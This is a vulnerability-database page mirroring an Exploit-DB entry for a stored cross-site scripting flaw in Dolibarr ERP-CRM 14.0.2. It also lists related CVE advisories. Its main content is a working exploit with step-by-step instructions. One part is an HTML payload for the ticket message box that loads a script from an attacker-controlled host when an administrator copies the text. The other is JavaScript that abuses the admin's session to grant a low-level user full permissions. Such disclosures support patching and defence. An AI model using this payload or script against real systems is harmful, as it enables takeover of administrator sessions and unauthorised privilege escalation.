Lucene search
+L

Dolibarr ERP-CRM 14.0.2 - Stored Cross-Site Scripting (XSS) / Privilege Escalation

🗓️ 20 Oct 2021 00:00:00Reported by Oscar Gil GutierrezType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 484 Views

Dolibarr ERP-CRM 14.0.2 Stored XSS Privilege Escalatio

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-47779
15 Jan 202623:25
–attackerkb
cnnvd
CNNVD
Dolibarr ERP CRM cross-site scripting vulnerabilities
16 Jan 202600:00
–cnnvd
cve
CVE
CVE-2021-47779
15 Jan 202623:25
–cve
cvelist
Cvelist
CVE-2021-47779 Dolibarr ERP-CRM 14.0.2 - Stored Cross-Site Scripting (XSS) / Privilege Escalation
15 Jan 202623:25
–cvelist
euvd
EUVD
EUVD-2026-3039
16 Jan 202600:30
–euvd
mend
Mend
CVE-2021-47779
15 Jan 202623:25
–mend
nvd
NVD
CVE-2021-47779
16 Jan 202600:16
–nvd
osv_cve
osv_cve
CVE-2021-47779
16 Jan 202600:16
–osv_cve
osv_ubuntu
osv_ubuntu
UBUNTU-CVE-2021-47779
16 Jan 202600:16
–osv_ubuntu
ptsecurity
Positive Technologies
PT-2026-3153
15 Jan 202600:00
–ptsecurity
Rows per page
# Exploit Title: Dolibarr ERP-CRM 14.0.2 - Stored Cross-Site Scripting (XSS) / Privilege Escalation
# Exploit Author: Oscar Gutierrez (m4xp0w3r)
# Date: 18/10/2021
# Vendor Homepage: https://www.dolibarr.org/
# Software Link: https://github.com/Dolibarr
# Tested on: Ubuntu, LAAMP
# Vendor: Dolibarr
# Version: v14.0.2

# Exploit Description:
# Dolibarr ERP & CRM v14.0.2 suffers from a stored XSS vulnerability in the ticket creation flow that allows a low level user (with full access to the Tickets module) to achieve full permissions. For this attack vector to work, an administrator user needs to copy the text in the "message" box.
# Instructions:
#1. Insert this payload in the message box when creating a ticket: "><span onbeforecopy="let pwned = document.createElement('script'); pwned.setAttribute('src', 'http://YOURIPGOESHERE/hax.js'); document.body.appendChild(pwned);" contenteditable>test</span>
#
#2. Host this file (Change the extension of the file to js and remove comments) in a remote http location of your preference.
#NOTE: The user id in /dolibarr/htdocs/user/perms.php?id=2 may vary depending on the installation so you might have to change this. In my case, I had only 2 users, user 2 being the low level user.
#
#3.Once an administrator user copies the text within the ticket the attack will launch.

function read_body(xhr) {

    var data = xhr.responseXML;
    var tokenizedUrl = data.getElementsByClassName("reposition commonlink")[0].href;
    console.log(tokenizedUrl);
    return tokenizedUrl;

}

function escalatePrivs() {
    var url = read_body(xhr);
    var http = new XMLHttpRequest();
    http.open('GET', url);
    http.onreadystatechange = function() {
            if (this.readyState  === XMLHttpRequest.DONE && this.status === 200) {
                    return;
            }
    };
    http.send(null);
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
            read_body(xhr);
            escalatePrivs(xhr);
    }
}
xhr.open('GET', '/dolibarr/htdocs/user/perms.php?id=2', true);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.15.4
CVSS 48.4
EPSS0.00905
SSVC
484